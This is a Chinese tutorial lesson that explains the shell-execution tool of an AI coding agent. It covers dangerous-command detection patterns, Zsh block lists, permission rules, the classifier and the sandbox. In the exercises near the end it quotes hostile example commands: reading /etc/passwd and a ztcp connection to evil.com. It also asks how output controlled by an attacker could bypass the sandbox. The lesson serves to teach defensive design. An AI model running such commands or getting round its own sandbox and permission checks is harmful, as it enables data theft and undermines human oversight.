第 13 课:BashTool — Shell 执行与安全防线

1 阅读9分钟

模块四:工具系统 | 前置依赖:第 12 课 | 预计学习时间:90 分钟


学习目标

完成本课后,你将能够:

  1. 描述 BashTool 的整体架构,解释为什么它是所有工具中最大的
  2. 解释 bashSecurity.ts 中的危险命令检测机制(命令替换、重定向、Zsh 危险命令)
  3. 说明 bashPermissions.ts 的三层权限判定流程(规则匹配、分类器、安全检查)
  4. 理解沙箱机制、超时管理和后台任务执行的工作原理

13.1 BashTool 的规模

BashTool 是整个 Claude Code 代码库中最大的单一工具,也是安全攻防最密集的地方:

tools/BashTool/
├── BashTool.tsx              # 1143 行 — 核心执行逻辑
├── bashSecurity.ts           # 2592 行 — 危险命令检测
├── bashPermissions.ts        # 2621 行 — 权限判定逻辑
├── readOnlyValidation.ts     # 1990 行 — 只读命令白名单
├── pathValidation.ts         # 1303 行 — 路径操作校验
├── bashCommandHelpers.ts     # 命令解析辅助
├── commandSemantics.ts       # 命令结果语义解释
├── commentLabel.ts           # 注释标签
├── destructiveCommandWarning.ts  # 破坏性命令警告
├── modeValidation.ts         # 模式校验
├── sedEditParser.ts          # sed 编辑命令解析
├── sedValidation.ts          # sed 命令安全校验
├── shouldUseSandbox.ts       # 沙箱判定
├── pathValidation.ts         # 路径安全校验
├── prompt.ts                 # 提示词(~370 行)
├── toolName.ts               # 工具名称常量
├── UI.tsx                    # 渲染组件
└── utils.ts                  # 工具函数
                总计: ~9649 行

为什么 BashTool 这么大?因为 shell 命令是最强大也最危险的工具 —— 它可以做任何事情(读写文件、执行程序、访问网络、修改系统),因此需要最强的安全防线。


13.2 输入参数与 Schema 设计

const fullInputSchema = lazySchema(() => z.strictObject({
  command: z.string(),              // 要执行的命令
  timeout: z.number().optional(),    // 超时(毫秒),最大 600000
  description: z.string().optional(), // 命令描述(给用户看)
  run_in_background: z.boolean().optional(), // 后台运行
  dangerouslyDisableSandbox: z.boolean().optional(), // 禁用沙箱
  _simulatedSedEdit: z.object({     // 内部字段:sed 编辑预计算
    filePath: z.string(),
    newContent: z.string(),
  }).optional(),
}))

注意 _simulatedSedEdit —— 这是一个内部字段,从模型可见的 schema 中被剔除:

const inputSchema = lazySchema(() =>
  isBackgroundTasksDisabled
    ? fullInputSchema().omit({ run_in_background: true, _simulatedSedEdit: true })
    : fullInputSchema().omit({ _simulatedSedEdit: true })
)

源码注释解释了为什么:

Exposing it in the schema would let the model bypass permission checks and the sandbox by pairing an innocuous command with an arbitrary file write.


13.3 命令分类系统

BashTool 在 UI 中根据命令类型决定展示方式(折叠/展开):

┌──────────────────────────────────────────────────────┐
│              Bash 命令分类                             │
├──────────────────────────────────────────────────────┤
│                                                      │
│  搜索命令 (BASH_SEARCH_COMMANDS)                     │
│  find, grep, rg, ag, ack, locate, which, whereis     │
│  → UI 中可折叠,标记为 "Search"                      │
│                                                      │
│  读取命令 (BASH_READ_COMMANDS)                       │
│  cat, head, tail, less, more, wc, stat, file,        │
│  strings, jq, awk, cut, sort, uniq, tr               │
│  → UI 中可折叠,标记为 "Read"                        │
│                                                      │
│  目录列举 (BASH_LIST_COMMANDS)                       │
│  ls, tree, du                                        │
│  → UI 中标记为 "Listed N directories"                │
│                                                      │
│  语义中性 (BASH_SEMANTIC_NEUTRAL_COMMANDS)            │
│  echo, printf, true, false, :                        │
│  → 不影响整体命令分类                                │
│                                                      │
│  静默命令 (BASH_SILENT_COMMANDS)                     │
│  mv, cp, rm, mkdir, chmod, touch, cd, export...      │
│  → 成功时显示 "Done" 而非 "(No output)"              │
│                                                      │
└──────────────────────────────────────────────────────┘

对于管道命令,所有部分都必须是搜索/读取命令,整个命令才被标记为可折叠:

export function isSearchOrReadBashCommand(command: string): {
  isSearch: boolean; isRead: boolean; isList: boolean;
} {
  let partsWithOperators = splitCommandWithOperators(command)
  // ...
  for (const part of partsWithOperators) {
    // 跳过操作符和语义中性命令
    const baseCommand = part.trim().split(/\s+/)[0]
    const isPartSearch = BASH_SEARCH_COMMANDS.has(baseCommand)
    const isPartRead = BASH_READ_COMMANDS.has(baseCommand)
    const isPartList = BASH_LIST_COMMANDS.has(baseCommand)
    if (!isPartSearch && !isPartRead && !isPartList) {
      return { isSearch: false, isRead: false, isList: false }  // 任何非读部分 → 不可折叠
    }
  }
}

13.4 bashSecurity.ts — 危险命令检测

这是整个代码库中安全检查最密集的文件(2592 行)。它的核心任务是检测可能被恶意利用的命令模式。

命令替换检测

攻击者可能通过命令替换在看似无害的命令中嵌入恶意代码:

const COMMAND_SUBSTITUTION_PATTERNS = [
  { pattern: /<\(/,  message: 'process substitution <()' },
  { pattern: />\(/,  message: 'process substitution >()' },
  { pattern: /=\(/,  message: 'Zsh process substitution =()' },
  { pattern: /\$\(/, message: '$() command substitution' },
  { pattern: /\$\{/, message: '${} parameter substitution' },
  { pattern: /\$\[/, message: '$[] legacy arithmetic expansion' },
  { pattern: /~\[/,  message: 'Zsh-style parameter expansion' },
  { pattern: /\(e:/, message: 'Zsh-style glob qualifiers' },
  { pattern: /<#/,   message: 'PowerShell comment syntax' },
  // ...
]

Zsh 危险命令

Zsh 有一些独特的命令可以绕过安全检查:

const ZSH_DANGEROUS_COMMANDS = new Set([
  'zmodload',   // 加载模块(网络、文件 I/O、伪终端)
  'emulate',    // -c 标志是 eval 等价物
  'sysopen',    // 精细文件操作(zsh/system 模块)
  'sysread',    // 文件描述符读取
  'syswrite',   // 文件描述符写入
  'zpty',       // 伪终端命令执行
  'ztcp',       // TCP 连接(数据泄漏)
  'zsocket',    // Unix/TCP socket
  'zf_rm',      // 内置 rm(绕过二进制检查)
  'zf_mv',      // 内置 mv
  // ...
])

源码注释详细说明了攻击路径:

zmodload is the gateway to many dangerous module-based attacks: zsh/mapfile (invisible file I/O via array assignment), zsh/system (sysopen/syswrite two-step file access), zsh/zpty (pseudo-terminal command execution), zsh/net/tcp (network exfiltration via ztcp)

引号内容提取

安全检查需要区分引号内和引号外的内容:

function extractQuotedContent(command: string, isJq = false): QuoteExtraction {
  let withDoubleQuotes = ''   // 只去除单引号内容
  let fullyUnquoted = ''       // 去除所有引号内容
  let unquotedKeepQuoteChars = '' // 去除内容但保留引号字符
  let inSingleQuote = false
  let inDoubleQuote = false
  let escaped = false

  for (let i = 0; i < command.length; i++) {
    const char = command[i]
    if (escaped) { escaped = false; /* ... */ continue }
    if (char === '\\' && !inSingleQuote) { escaped = true; /* ... */ continue }
    if (char === "'" && !inDoubleQuote) { inSingleQuote = !inSingleQuote; continue }
    if (char === '"' && !inSingleQuote) { inDoubleQuote = !inDoubleQuote; continue }
    // ...
  }
}

三种提取模式各有用途:

  • withDoubleQuotes:检测双引号中的命令替换
  • fullyUnquoted:检测引号外的重定向、花括号展开
  • unquotedKeepQuoteChars:检测引号边界的 # 注释注入

安全重定向剥离

某些重定向是安全的,检查前可以先移除:

function stripSafeRedirections(content: string): string {
  return content
    .replace(/\s+2\s*>&\s*1(?=\s|$)/g, '')       // 2>&1
    .replace(/[012]?\s*>\s*\/dev\/null(?=\s|$)/g, '') // > /dev/null
    .replace(/\s*<\s*\/dev\/null(?=\s|$)/g, '')   // < /dev/null
}

注意尾部边界检查 (?=\s|$) —— 源码中有一段重要的安全注释:

Without it, > /dev/nullo matches /dev/null as a PREFIX, strips > /dev/null leaving o, so echo hi > /dev/nullo becomes echo hi o. validateRedirections then sees no > and passes.

安全检查 ID 系统

每个安全检查都有一个数字 ID,用于分析和日志:

const BASH_SECURITY_CHECK_IDS = {
  INCOMPLETE_COMMANDS: 1,
  JQ_SYSTEM_FUNCTION: 2,
  JQ_FILE_ARGUMENTS: 3,
  OBFUSCATED_FLAGS: 4,
  SHELL_METACHARACTERS: 5,
  DANGEROUS_VARIABLES: 6,
  NEWLINES: 7,
  DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION: 8,
  DANGEROUS_PATTERNS_INPUT_REDIRECTION: 9,
  DANGEROUS_PATTERNS_OUTPUT_REDIRECTION: 10,
  IFS_INJECTION: 11,
  BRACE_EXPANSION: 16,
  CONTROL_CHARACTERS: 17,
  UNICODE_WHITESPACE: 18,
  ZSH_DANGEROUS_COMMANDS: 20,
  // ...共 23 种检查
}

13.5 bashPermissions.ts — 权限判定

子命令拆分限制

复杂的复合命令可能导致子命令数组爆炸增长:

export const MAX_SUBCOMMANDS_FOR_SECURITY_CHECK = 50

超过 50 个子命令时,直接回退到 ask 模式(需要用户确认),因为无法证明安全性。

权限规则类型

Bash 命令的权限规则支持三种匹配模式:

┌──────────────────────────────────────────────────────┐
│              Bash 权限规则类型                         │
├──────────────────────────────────────────────────────┤
│                                                      │
│  精确匹配 (exact)                                    │
│  "npm run test"  →  只匹配这个完整命令               │
│                                                      │
│  前缀匹配 (prefix)                                   │
│  "npm run test:*" →  匹配 npm run test: 开头的命令   │
│                                                      │
│  通配符匹配 (wildcard)                               │
│  "git commit *"  →  匹配 git commit 加任意参数       │
│                                                      │
└──────────────────────────────────────────────────────┘

ML 分类器集成

在传统的规则匹配之外,BashTool 还集成了一个 ML 分类器:

// bashPermissions.ts
import {
  classifyBashCommand,
  getBashPromptAllowDescriptions,
  getBashPromptAskDescriptions,
  getBashPromptDenyDescriptions,
  isClassifierPermissionsEnabled,
} from '../../utils/permissions/bashClassifier.js'

分类器提供三种行为建议:

  • allow:自动允许(如读取命令)
  • ask:需要用户确认(如写入命令)
  • deny:自动拒绝(如危险命令)

Ant 用户的分类器结果会被记录到分析系统:

function logClassifierResultForAnts(
  command: string,
  behavior: ClassifierBehavior,
  descriptions: string[],
  result: ClassifierResult,
): void {
  if (process.env.USER_TYPE !== 'ant') return
  logEvent('tengu_internal_bash_classifier_result', { /* ... */ })
}

13.6 readOnlyValidation.ts — 只读命令白名单

这个 1990 行的文件维护了一个精心策划的只读命令白名单,用于自动允许不会修改文件系统的命令。

白名单结构

每个命令都有详细的安全标志配置:

type CommandConfig = {
  safeFlags: Record<string, FlagArgType>  // 允许的标志
  regex?: RegExp                           // 额外的正则校验
  additionalCommandIsDangerousCallback?: (  // 自定义危险检测
    rawCommand: string,
    args: string[],
  ) => boolean
  respectsDoubleDash?: boolean  // 是否尊重 -- 选项终止符
}

例如 fd 命令的安全标志配置:

const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
  '-h': 'none', '--help': 'none',
  '-H': 'none', '--hidden': 'none',
  '-I': 'none', '--no-ignore': 'none',
  '-s': 'none', '--case-sensitive': 'none',
  '-d': 'number', '--max-depth': 'number',
  '-t': 'string', '--type': 'string',
  '-e': 'string', '--extension': 'string',
  // 注意:-x/--exec 被故意排除!
  // -l/--list-details 也被排除(内部执行 ls 子进程)
}

13.7 pathValidation.ts — 路径安全

pathValidation.ts 确保命令操作的路径在允许范围内:

export type PathCommand =
  | 'cd' | 'ls' | 'find' | 'mkdir' | 'touch'
  | 'rm' | 'rmdir' | 'mv' | 'cp'
  | 'cat' | 'head' | 'tail' | 'sort'
  | 'grep' | 'rg' | 'sed' | 'git' | 'jq'
  // ...共 33 种命令

危险删除路径检测

function checkDangerousRemovalPaths(
  command: 'rm' | 'rmdir',
  args: string[],
  cwd: string,
): PermissionResult {
  const paths = extractor(args)
  for (const path of paths) {
    const absolutePath = isAbsolute(cleanPath) ? cleanPath : resolve(cwd, cleanPath)
    if (isDangerousRemovalPath(absolutePath)) {
      return {
        behavior: 'ask',
        message: `Dangerous ${command} operation: '${absolutePath}'`,
        suggestions: [],  // 不提供自动保存建议
      }
    }
  }
}

13.8 沙箱机制

shouldUseSandbox 判定

export function shouldUseSandbox(input: Partial<SandboxInput>): boolean {
  // 1. 沙箱未启用 → 不使用
  if (!SandboxManager.isSandboxingEnabled()) return false

  // 2. 显式禁用 + 策略允许 → 不使用
  if (input.dangerouslyDisableSandbox &&
      SandboxManager.areUnsandboxedCommandsAllowed()) return false

  // 3. 无命令 → 不使用
  if (!input.command) return false

  // 4. 命令在排除列表中 → 不使用
  if (containsExcludedCommand(input.command)) return false

  // 5. 其他情况 → 使用沙箱
  return true
}

沙箱配置在提示词中的体现

prompt.ts 会将沙箱限制内联到提示词中:

const filesystemConfig = {
  read: {
    denyOnly: dedup(fsReadConfig.denyOnly),
    allowWithinDeny: dedup(fsReadConfig.allowWithinDeny),
  },
  write: {
    allowOnly: normalizeAllowOnly(fsWriteConfig.allowOnly),
    denyWithinAllow: dedup(fsWriteConfig.denyWithinAllow),
  },
}

一个有趣的优化 —— 临时目录路径会被规范化为 $TMPDIR

Replace the per-UID temp dir literal (e.g. /private/tmp/claude-1001/) with "$TMPDIR" so the prompt is identical across users — avoids busting the cross-user global prompt cache.


13.9 超时管理

export function getDefaultTimeoutMs(): number {
  return getDefaultBashTimeoutMs()  // 默认 120000ms(2 分钟)
}

export function getMaxTimeoutMs(): number {
  return getMaxBashTimeoutMs()      // 最大 600000ms(10 分钟)
}

后台任务

长时间运行的命令可以通过 run_in_background 参数在后台执行:

const fullInputSchema = lazySchema(() => z.strictObject({
  // ...
  run_in_background: semanticBoolean(z.boolean().optional())
    .describe('Set to true to run this command in the background.'),
}))

当后台任务被禁用时(CLAUDE_CODE_DISABLE_BACKGROUND_TASKS),这个参数从 schema 中移除。

Assistant 模式自动后台化

在 Assistant 模式下,阻塞超过 15 秒的命令会自动转为后台:

const ASSISTANT_BLOCKING_BUDGET_MS = 15_000

sleep 命令检测

BashTool 会检测并阻止不必要的 sleep:

export function detectBlockedSleepPattern(command: string): string | null {
  const m = /^sleep\s+(\d+)\s*$/.exec(first)
  if (!m) return null
  const secs = parseInt(m[1]!, 10)
  if (secs < 2) return null  // 2 秒以下的 sleep 允许(节流、节奏控制)
  return rest ? `sleep ${secs} followed by: ${rest}` : `standalone sleep ${secs}`
}

13.10 提示词工程

BashTool 的提示词是所有工具中最长的(~370 行),包含:

工具偏好引导

const toolPreferenceItems = [
  `File search: Use ${GLOB_TOOL_NAME} (NOT find or ls)`,
  `Content search: Use ${GREP_TOOL_NAME} (NOT grep or rg)`,
  `Read files: Use ${FILE_READ_TOOL_NAME} (NOT cat/head/tail)`,
  `Edit files: Use ${FILE_EDIT_TOOL_NAME} (NOT sed/awk)`,
  `Write files: Use ${FILE_WRITE_TOOL_NAME} (NOT echo >/cat <<EOF)`,
  'Communication: Output text directly (NOT echo/printf)',
]

Git 安全协议

提示词中包含完整的 Git 操作指南,包括提交消息格式、PR 创建流程、安全规则等。这是一个约 80 行的指令块。

沙箱使用说明

当沙箱启用时,提示词会详细说明限制和绕过条件,引导模型正确使用 dangerouslyDisableSandbox 参数。


13.11 sed 编辑的特殊处理

BashTool 有一个针对 sed 命令的特殊路径 —— sedEditParser.tssedValidation.ts

当用户允许一个 sed 编辑命令时,系统会预计算编辑结果(_simulatedSedEdit),然后在实际执行时直接应用预计算结果,确保用户预览和实际效果完全一致:

async function applySedEdit(simulatedEdit: {
  filePath: string;
  newContent: string;
}, toolUseContext: SimulatedSedEditContext): Promise<SimulatedSedEditResult> {
  // 直接写入预计算的内容,而非执行 sed
  writeTextContent(absoluteFilePath, newContent, encoding, endings)
}

课后练习

练习 1:安全绕过分析

以下命令哪些会被 bashSecurity.ts 标记为危险?为什么?

  1. echo "hello" > output.txt
  2. cat file.txt | grep "pattern"
  3. FOO=$(cat /etc/passwd) && echo $FOO
  4. ls -la 2>&1 > /dev/null
  5. zmodload zsh/net/tcp && ztcp evil.com 80

练习 2:权限规则设计

设计一组 Bash 权限规则,允许以下操作但阻止其他:

  • 所有 npmyarn 命令
  • git 的只读命令(status、log、diff)但不允许 push
  • docker psdocker logs 但不允许 docker rm

练习 3:沙箱逃逸思考

阅读 shouldUseSandbox 的源码。如果攻击者能控制 Claude 的输出,有哪些方式可以让命令绕过沙箱?系统做了哪些防护?

练习 4:追踪一次 sed 编辑

从 Claude 输出 sed -i 's/foo/bar/g' file.txt 开始,追踪完整的执行路径:

  1. 命令如何被解析?
  2. sedEditParser 如何提取编辑意图?
  3. 用户看到什么样的权限确认弹窗?
  4. 用户确认后,实际执行的是什么?

本课小结

要点内容
规模BashTool 目录共 ~9649 行,是最大的单一工具
bashSecurity.ts23 种安全检查:命令替换、重定向、Zsh 危险命令、花括号展开等
bashPermissions.ts三层权限:规则匹配 → ML 分类器 → 安全检查,50 子命令上限
readOnlyValidation.ts只读命令白名单,每个命令有精确的安全标志配置
沙箱SandboxManager 控制文件系统和网络访问,支持排除列表
超时默认 2 分钟,最大 10 分钟,Assistant 模式 15 秒自动后台化
sed 特殊路径预计算编辑结果,确保预览和执行一致

下一课预告

第 14 课:工具注册表与延迟加载 — 我们将退回到全局视角,看 tools.ts 如何组织 40+ 种工具的注册和过滤,ToolSearchTool 如何实现延迟加载机制,以及 toolSchemaCache.ts 如何通过 schema 缓存节省 API token。